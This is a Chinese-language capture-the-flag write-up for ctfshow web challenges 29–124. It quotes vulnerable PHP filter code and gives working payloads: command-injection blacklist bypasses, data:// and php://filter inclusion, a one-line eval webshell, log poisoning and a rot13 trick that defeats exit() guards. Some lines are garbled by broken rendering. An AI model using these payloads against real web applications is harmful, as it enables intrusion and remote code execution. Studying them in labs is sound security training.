ctfshow-29-170


ctfshow 命令执行-文件上传-php特性

命令执行

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

只屏蔽了flag

payload:

?c= system("cat fla*");

web30

<?php
    error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload:

?c=echo `cat fla*`;

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

屏蔽了

flag system php cat sort shell . 空格  '

空格过滤,可以用table绕过%09进行绕过

web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了

flag system php cat sort shell . 空格 ' 反撇 echo ; (

但是没过滤include可以包含一个post参数然后用伪协议来读取

php://filter/read=convert.base64-encode/resource=flag.php

web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤

flag system php cat sort shell . ' ` echo ; ( "

相比较上一题多过滤了一个双引号,可以post包数字就不需要双引号

?c=include$_POST[1]?>
php://filter/read=convert.base64-encode/resource=flag.php

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了一个:好像没什么影响

用上面的payload一样打

web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又过滤了<还有=

毫无影响

web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又过滤了数字那么之前的方法行不通了

可以把数字直接替换成字母,虽然规范要添加引号包含住,但是不写也可以执行

web37

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

文件包含漏洞,可以直接文件包含代码执行:data:text/plain,<?php 你想要执行的代码?>

最终payload:

?c=data:text/plain,<?php echo `cat fla*`?>

flag在源代码里

web38

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }
        
}else{
    highlight_file(__FILE__);
}

多过滤了php还有file,

上面的payload不能用了,我们可以把后面的内容进行一个base64编码进行执行

payload

?c=data:text/plain;base64,PD9waHAgZWNobyBgY2F0IGZsYSpgPz4=

web39

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }        
}else{
    highlight_file(__FILE__);
}

这题的意思就是直接在我们的最后添加一个.php

我们可以直接使用上面的代码执行,执行结束之后直接添加.php也不影响执行

web40

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

屏蔽了

数字 ~ @ # \$ % ^ & * ( ) - + = { } [ ] ' " , < . > ? / \

这里的屏蔽的是中文括号,也就是说我们只能用无参RCE

我们想要查看目录可以用print_r(scandir(’.’))

既然是无参最难的就是构造"."

localeconv()
他是一个数组,第一个就是.我们需要调用数组的第一个又需要介绍一个函数
current()
他们俩组合current(locakeconv())
就可以调用‘.’拉
可以用print_r(scandir(current(locakeconv())));
查看目录文件
然后用
array_reverse()
next()
倒置,取下一个,取到我们想要的文件

然后highlight_file就行

web41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

过滤了

0-9 a-z ^ + ~ $ [ ] { } & - 

web42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

直接运行就行,用分号隔断

payload:?c=cat flag.php;

web 43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

屏蔽了分号隔断

可以使用||这个符号的作用就是左边执行的话右边不执行

web 44

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了flag还有cat

用sort fla*

文件读取的方式:
cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

web 45

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了空格

空格用%09代替即可绕过

web 46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了$符号以及*还有数字

%09会进行二次编码所以不用担心数字过滤

还有别的绕过方法如 I F S 但 是 这 里 过 滤 了 {IFS}但是这里过滤了 IFS符号

<>,<,$IF$9但在这里好像都不行

web 47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了more less head sort tail

可以用tac,具体其他命令44写了

web 48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了sed cut awk strings od curl

无影响

web 49

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了%用<绕过

?c=tac<fla""g.php||

web 50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了tab还有&

一样绕

web 51

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac也过滤了但是nl没有过滤

替换成nl,vi都行

web 52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

现在<>也被过滤了但是$符号又放出来了

不过这题的flag在根目录下

web 53

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

多过滤了wget

直接执行系统命令

payload

c=nl${IFS}fla""g.php

web 54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

;|cat|flag| |[0-9]|\ |more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|nl|scp|rm

被过滤的参数

不能出现相连字母,所以flag.php可以用?代替f???

最后vi输出或者是/bin/后面接过滤参数bin是命令目录

web 55

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了所有小写字母

这里需要构造上传,更改一下上传脚本,并且构造poc执行命令

?c=.+/???/????????[@-[]

[@-[]是linux下面的通配符,匹配的是大写字母

然后在上传文件里面更改添加sh命令

#!/bin/sh
ls

就可以直接执行命令。

附构造上传脚本:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

web 56

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

额外过滤了数字

也可以用上面的方法

web 57

<?php
    flag在36.php中
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

额外过滤了上面的方法

涉及到了linux的命令

${_} ="" //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

构成-36取反就好了

web 58

突破禁用命令的方法:
1、通过复制,重命名读取php文件内容		函数:copy、rename
2、单一函数读文件内容:			  函数:file_get_contents()[搭配echo]		readfile()  	file()[搭配peint_r]
3、通过fopen读文件内容:				
函数:
fread()		用法:$a=fopen("flag.php","r");echo fread($a,"1000");          
fgets()			 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
fgetc()			 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
fgetss()		 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}//php7.3后无法使用
fgetcsv()		 $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
gpassthru()		 $a=fopen("flag.php","r");echo fpassthru($a); 
4、高亮:		函数:	show_source()	highlight_file()
5、flag不在flag.php中,遍历目录:		函数:		scandir() 	opendir()
6、flag是txt直接包含:		函数: 	include()		require()
7、绕过之前的正则:在后面接exit();
8、绕过open_basedir:   函数:
<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

但是禁用了system好像,可以用highlight_file()绕过

也可以用

echo file_get_contents("flag.php");
readfile("flag.php");        

web 59

同样的数据

也没有过滤highlight_file()

也可以:

print_r(file("flag.php")); 

web 60

见web58

也可以(rename)copy("flag.php","flag.txt")访问

web 61-65

高亮

web66

使用高亮发现flag不在这里,使用目录遍历

print_r(scandir('.'));

发现flag在根目录下的flag.txt中

然后用高亮显示

c=highlight_file('/flag.txt');

web 67

print_r被禁,用var_dump代替

web 68

发现高亮被过滤,但是可以继续遍历目录

flag还是在根目录下

因为他是txt文件,直接include这个文件他就会直接在网页中显示

web 69-70

var_dump被禁用,可以用var_export替代

web 71

使用上面方法的时候发现,全是问号

但是遍历根目录的时候可以发现???.???猜测是flag.txt

读取这个方法也全是问号,想到用utf-8编码看一下是不是编码问题

查看源代码发现下面有一层过滤

可以用exit();跳过这层过滤

web 72

web 73

先用var_export遍历一下目录发现根目录下面的flagc.txt文件

然后include包含这个文件就可以

web 74

这里过滤掉了dir相关的函数

用glob函数过

使用方法:``

glob(’./*’)遍历当前目录下的文件

web 75-76

用到了php中保存目录的类:Directoryiterator

DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。

我们可以直接在网页中编写实例一个DirectoryIterator对象,然后用一个循环遍历出它里面包含的文件

payload:

?><?php $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo $f->__toString()." ";}exit();

可以找到flag36.txt文件

这里需要用到PDO类链接数据库

php页面链接数据库例子:
<?php
$dbms='mysql';     //数据库类型
$host='localhost'; //数据库主机名
$dbName='test';    //使用的数据库
$user='root';      //数据库连接用户名
$pass='';          //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";

所以我们现在需要初始化的内容$dbh = new PDO($dsn, $user, $pass); *//初始化一个PDO对象*

需要提供账号密码还有数据库信息

也不知道师傅们是怎么拿到数据库的信息的:

payload:

try{
	$dbh = new PDO('mysql:host=localhost;dbname=ctftraining','root','root');
	foreach($dbh->query('select load_file("/flag36.txt")')as $row){#76是36d
		echo($row[0])."|";}
		$dbh = NULL;
	
}catch (POException $e){
	echo $e->getMessage();
	die();	
	}exit();

c=try { d b h = n e w P D O ( ′ m y s q l : h o s t = l o c a l h o s t ; d b n a m e = c t f t r a i n i n g ′ , ′ r o o t ′ , ′ r o o t ′ ) ; f o r e a c h ( dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach( dbh=newPDO(mysql:host=localhost;dbname=ctftraining,root,root);foreach(dbh->query(‘select load_file("/flag36.txt")’) as KaTeX parse error: Expected '}', got 'EOF' at end of input: row) {echo(row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);

原理:在数据库中查找flag36.txt然后抛出异常,输出其中内容

web77

一样可以用上面的代码读取到文件目录,可以看到flag在falg36x.txt或者readflag中

但是我们用上面的sql方法读取文件的时候发现,sql被ban了,得想另一种办法

可以利用FFI(但是FFI只有在php7.4之后才有)

新姿势:$ffi = FFI::cdef(“int system(const char *command);”);创建一个system对象

然后将readflag重定向

最后调用system执行$a

最后访问我们重定向的文件

web 118

这题又是一个新姿势,我们可以利用环境变量或者路径含有的字母来执行命令

这题没有过滤空格还有路径包含

而且给出的提示中有当前目录是/var/www/html

以及环境变量是/bin

我们可以调用环境变量的最后一个字母(~A)以及当前目录中最后一个字母组成nl后面包含题目给我们的flag所在位置(?没有被ban)

最终payload:

${PATH~A}${PWD~A}????.???

附上LINUX的环境变量:

查看环境变量  (environment)
env
一些环境变量说明
HOSTNAME=linux.dmtsai.tw  主机名称
SHELL=/bin/bash  当前环境下,使用的shell是哪一个程序。
TERM=xterm  终端使用的环境是什么类型
HISTSIZE=1000 记录命令的数目
USER=root  用户的名称
ENV=/root/.bashrc  使用的个人环境设置文件
MAIL=/var/spool/mail/root  这个用户所采用的邮箱位置
PATH=/sbin:/usr/sbin:/bin  执行文件命令搜索路径
PWD=/root  当前用户所在的工作目录(利用pwd取出)
LANG=en_US,UTF-8 与语系有关
HOME=/root 用户的家目录

web 119

跟上题类似但是需要构造不一样的东西上题构造的是无法用的

0:
${#}
1:
${##}
${#SHLVL}
4-5:
${#RANDOM}
/:
${HOME:${#}:${##}}
t:
${HOME:${#HOSTNAME}:${#SHLVL}}
1 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64
2
3 PHP_VERSION=7.3.22 /版本
4 SHLVL=2 /記錄多個bash進程實例嵌套深度的累加器
5 [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
6 [HOSTNAME] => glot-runner /主機名
[PHPIZE_DEPS] => autoconf dpkg-dev file g++
gcc libc-dev make pkg-config re2c
7
8 [PHP_INI_DIR] => /usr/local/etc/php
9 [PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2
10 [PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2
11 [PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie
[GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2
D6021E995DC9FF8D3EE5AF27F
12
13 [PHP_VERSION] => 7.2.1
14
[PHP_ASC_URL] => https://secure.php.net/get/php-7.2.1.tar.xz.asc/from/
this/mirror
15
[PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d
8e6efd8822
16
17 [PHP_MD5] =>
18 [HOME] => /home/glot
19 [PHP_SELF] => /tmp/543750210/main.php
20 [SCRIPT_NAME] => /tmp/543750210/main.php
21 [SCRIPT_FILENAME] => /tmp/543750210/main.php
22 [PATH_TRANSLATED] => /tmp/543750210/main.php
23 [DOCUMENT_ROOT] =>
24 [REQUEST_TIME_FLOAT] => 1524198667.12
25 [REQUEST_TIME] => 1524198667
26 [argv] => Array
27 (
28 [0] => /tmp/543750210/main.php
29 )
30 [argc] => 1
31 )

非预期:

可以看到PHP_CFLAGS中含有tac,直接构造数字3取PHP_CFLAGS的第三个的三位就行了

web 120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>

上面的题目虽然没有过滤,但是我们用的长度太长了会被后面的小于65pass

所以我们的换一种方法构造

可以尝试一下构造base64

我们只需要构造出4和6

我们还记得118的提示

然后PHP_VERSION的长度是6

pwd的长度是4

可以构造

????${#PWD} ????.???  #base64 flag.php

但是没办法执行,应该是位置发生了什么变化把,换一种方法,构造出/bin然后直接执行看看

想到可以构造/bin/base64 ???.???

现在的问题就是构造一个/

可以用pwd的第一个字符就是/

${PWD::${#SHLVL}}

如果构造这个的话,长度就可能不够了,

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#PWD} ????.??? #尝试了一下好像不太行,可能当前目录发生了变化,长度不是4了

换个方法,可以用随机函数,RANDOM虽然是要靠运气但是确实是可以做出来的

payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${RANDOM} ????.???
这样随机到4的概率有点低
我们可以让他随机到4位,取他的长度
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

官方的wp:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
好像就是用的/bin/cat flag.php
谁能知道user最后一位是a呢

web 121

上面可以看到SHLVL被过滤掉了

但是${##}的效果跟他一样的直接替换

替换之后用上面的payload继续打

web 122

可以看到我们用pwd提取/但是pwd被过滤了

发现没有过滤HOME,而且HOME返回的是家目录也是含有/但是#也被过滤了查了一下可以用$?,它表示上一条命令的返回值,如果是0则表示执行成功,如果是非0则表示执行有误

${HOME::$?}

web 124

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

可以看到这道题同样限制了长度,并且添加了黑白名单:

过滤了空格,换行,tab,单双引号还有中括号

他特别提示了用到数学符号,而且在这边给出了进制转换的几个函数:

base_convert随机进制转换
hexdec十六进制转换成十进制
dechex十进制转换成十六进制
原本只需要base_convert就足够了,但是这题同样限制了80长度,只用这个的话长度不够,所以我们必须结合利用
我们知道我们在执行的时候是以二进制数据进行程序执行的
所以我们可以构造rce
以GET方式传入一个数,然后我们就可以随机构造我们想要的系统命令了

可以看到我们直可以用它给的函数还有数字,还有除了上面其余符号,

我们可以构造一个十进制,然后让他转换成二进制字符串,但是上面没有给我们函数来转换成2进制字符串

所以说我们需要构造一个参数让他转换成2进制字符串

看了一下他给的数学函数需要返回字符串的话我们只能使用

hex2bin函数,这个函数会将16进制转换成二进制字符串

也就是说我们需要用base_convert转换出hex2bin

直接去找一个在线网站转换就行了37907361743

然后构造base_convert(37907361743,10,36)就可以构造出hex2bin

然后我们就可以构造一个_GET了

1598506324

然后直接拼接

base_convert(37907361743,10,36)(dechex(1598506324))#_GET

这样我们就构造好了_GET因为中括号被过滤了我们可以用大括号代替中间的就用上面给定的函数来覆盖,

可以构造$pi=base_convert(37907361743,10,36)(dechex(1598506324))

因为长度限定我们可以使用变量定义一下,把这个复制给$pi

然后用$ p i 构 造 出 pi构造出 pi_GET{abs},但是因为我们没办法使用单引号,所以我们还需要构造一个参数,然后让他组成函数(参数)的方式,然后函数,参数都用get传入

也就是说需要构造c=$_GET{abs}($_GET{exp})然后我们再传入abs还有exp就可以rce

payload:

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{exp});&abs=system&exp=tac f*

------命令执行结束------

文件包含

web 78

用php伪协议

web 79

用data伪协议

web 80

随便输入一个页面查看服务器的系统

用file伪协议抓包之后在网页的标头信息构造漏洞在日志文件中getshell

web 81

直接file=文件的日志文件

然后抓包构造标头

web 82-86

环境有问题,现在没办法做

web 87

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

我们需要写入content数据写进file中,但是要绕过这个die

考到了伪协议绕过,我们可以用伪协议编码绕过,用base64或者是rot13base64解码的时候<?;>等会被忽略,最后也就会变成phpdie然后添加两个字符之后对后面的数再继续进行解码这样我们就直接绕过了这个死亡杂糅(我这题base64没做出来,用的rot13)rot13编码之后` <?php die('大佬别秀了');?>会变成<?cuc qvr('大佬别秀了');?>`再进行一次编码他就会恢复原状,如果php没有开启短标签的话,php不认识这个字符那么他就不会执行,我们直接在后面添加我们想要输入的代码然后进行一次rot13编码,当他在进行一次rot13编码的时候,他就会变成我们想要输入的原始形态,就绕过了前面的die不会退出。

参考链接:

https://xz.aliyun.com/t/8163#toc-3
https://www.leavesongs.com/PENETRATION/php-filter-magic.html

web 88

过滤的字符串

php ~ ! @ # $ % ^ & * ( ) - _ + = .

跟前面一样,可以直接用data伪协议读,但是解码之后最后可能会有= + 等符号,可以在后面直接加几个1来混淆

data:text/plain;base64,加上base64编码

payload:

?file=data:text/plain;base64,PD9waHAgZXZhbChzeXN0ZW0oJ2NhdCBmKicpKTsgPz4xMTEx

web 116

打开可以看到是一个MP4文件,先下载下来然后用foremost分离

打开png文件发现图片就是源码

审计发现直接get方式传入一个file名就行了但是需要抓个包才能看返回值

web 117

ucs-2编码
echo iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[a]); ?>');

他的返回值就是经过编码之后的

然后我们直接用伪协议写php://filter/write=convert.UCS-2LE.UCS-2BE/resource=a.php

来写入文件到a.php

contents传入我们转码之后的一句话木马

contents=?<hp+pvela ( P S O [ T ] 1 ; ) > ? 也 就 是 ‘ < ? p h p e v a l ( (P_SO[T]1;)>?也就是`<?php eval( (PSO[T]1;)>?<?phpeval(_POST[1]); ?>`

-------文件包含也结束了-------

php特性

web 89

数组绕过

web 90

进制转换,4476转换成八进制就行了首位添加0

web 91

考到了/i以及/im的区别

im匹配换行符

web 92-93

同上面的90一样

web 94

多了一些条件,首位不能是0,不能含有字母,不能等于4476

我们可以构造小数,绕过前面然后到后面intval函数直接变成int4476

web 95

过滤了flag.php

因为知道flag.php是在当前目录下

当前目录下的文件可以用./+文件名表示

web 96

标准的MD5绕过,可以用数组

web 97

用数组绕过

web 98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

想了想还是贴上代码,考到了三元运算符的运用

第一个是如果传入了一个get参数,那么就把这个方法转换为post方法,因为他赋值的时候把post的地址给了get,所以我们用GET方式传入一个参数之后还需要再POST方法传入一个同样的flag,仔细看一下下面两个三元判断是没用的,可以不用管

web 99

<?php
highlight_file(__FILE__);
$allow = array();#将allow设置为数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
    #给数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
#检查这个里面是否有我们输入的n的键值,in_array漏洞,如果没有设置第三个值的话那么我们输入的内容会自动转换n=1.php会转换成1
    file_put_contents($_GET['n'], $_POST['content']);
    	#然后到这就可以写入一个一句话木马
}
?>

web 100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;#提示flag在ctfshow
$ctfshow = new ctfshow();#新建一个ctfshow对象
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);#因为and的优先级比=低,所以我们只需要v1传入数字就行了
if($v0){
    if(!preg_match("/\;/", $v2)){#v2中不含有分号
        if(preg_match("/\;/", $v3)){#v3中含有分号
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

非预期:因为什么也没有过滤所以直接命令执行就行

预期解:用ReflectionClass类反弹(引用一下羽师傅的wp讲解)

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

